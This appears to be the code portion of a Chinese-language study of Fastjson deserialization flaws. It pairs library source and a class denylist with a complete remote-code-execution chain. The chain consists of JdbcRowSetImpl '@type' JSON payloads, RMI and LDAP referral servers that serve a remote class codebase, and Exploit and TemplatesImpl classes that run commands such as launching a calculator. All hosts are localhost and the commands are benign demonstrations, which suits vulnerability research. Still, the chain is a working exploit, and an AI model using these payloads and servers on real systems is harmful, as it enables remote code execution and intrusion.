deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:35, PoC

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    final JSONLexer lexer = parser.lexer;
    if (lexer.token() == JSONToken.NULL) {
        lexer.nextToken(JSONToken.COMMA);
        return null;
    }

    if (lexer.token() == JSONToken.LITERAL_STRING) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(JSONToken.COMMA);
        return (T) bytes;
    }

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer; // xxx

        FieldDeserializer fieldDeserializer = smartMatch(key);

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://127.0.0.1:8000/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

public class Exploit{
    public Exploit() {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";



    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Exploit";
        int port = 1389;



        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;



        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }



        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }



        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

connect:654, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JdbcRowSetImplPoc

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }

    final String className = typeName.replace('$', '.');

    // autoTypeSupport默认为False
    // 当autoTypeSupport开启时，先白名单过滤，匹配成功即可加载该类，否则再黑名单过滤
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

    // 从Map缓存中获取类，注意这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

    // 当autoTypeSupport未开启时，先黑名单过滤，再白名单过滤，若白名单匹配上则直接加载该类，否则报错
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {

        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    return clazz;
}

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

// 把JSON文本parse为JSONObject或者JSONArray 
public static final Object parse(String text); 
 // 把JSON文本parse成JSONObject
public static final JSONObject parseObject(String text)；    
// 把JSON文本parse为JavaBean 
public static final <T> T parseObject(String text, Class<T> clazz)
// 把JSON文本parse成JSONArray 
public static final JSONArray parseArray(String text); 
//把JSON文本parse成JavaBean集合 
public static final <T> List<T> parseArray(String text, Class<T> clazz); 
// 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object); 
 // 将JavaBean序列化为带格式的JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat);
//将JavaBean转换为JSONObject或者JSONArray。
public static final Object toJSON(Object javaObject); 

package fastjson;

import com.alibaba.fastjson.*;
public class demo {
    public static void main(String[] args) {
        String str = "{\"name\":\"test\"}";
//将JsonObject数据转换为Json  
        JSONObject object = JSON.parseObject(str);
//利用键值对的方式获取到值
        System.out.println(object.get("name"));
    }
}

package fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

String s = "{\"name\":\"test\",\"age\":\"12\"}";

Object object1 = JSON.parseObject(s,User.class);
System.out.println(((User) object1).getName());
System.out.println(((User) object1).getAge());
System.out.println(object1.getClass());

Object object2 = JSON.parseObject(s);
System.out.println(((JSONObject) object2).get("name"));
System.out.println(((JSONObject) object2).get("age"));
System.out.println(object2.getClass());

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject)obj;
    } else {
        try {
            return (JSONObject)toJSON(obj);
        } catch (RuntimeException var3) {
            throw new JSONException("can not cast to JSONObject.", var3);
        }
    }
}

public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    } else {
        Feature[] var4 = features;
        int var5 = features.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Feature feature = var4[var6];
            featureValues = Feature.config(featureValues, feature, true);
        }

        DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
        T value = parser.parseObject(clazz);
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

Object object3 = JSON.parse(s);
System.out.println(object3.getClass());

Map map = new HashMap();
map.put("1",123);
map.put("slm","123");
String result1 = JSON.toJSONString(map);
System.out.println(result1);

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("ghtwf01");
        student.setAge(80);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

import java.io.IOException;

public class Student {
    private String name;
    private int age;
    private String sex;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        //System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
    }
}

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

case 12:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return this.parseObject((Map)object, fieldName);

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        ref = lexer.scanSymbol(this.symbolTable, '"');
                        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
                        if (clazz != null) {
                            lexer.nextToken(16);
                            if (lexer.token() != 13) {
                                this.setResolveStatus(2);
                                if (this.context != null && !(fieldName instanceof Integer)) {
                                    this.popContext();
                                }

                                if (object.size() > 0) {
                                    instance = TypeUtils.cast(object, clazz, this.config);
                                    this.parseObject(instance);
                                    thisObj = instance;
                                    return thisObj;
                                }

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";



    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#badClassName";
        int port = 1389;



        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;



        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }



        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }



        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws Exception{
        try {
            Context context = new InitialContext();
            context.lookup("ldap://127.0.0.1:1389/badClassName");
        }
        catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}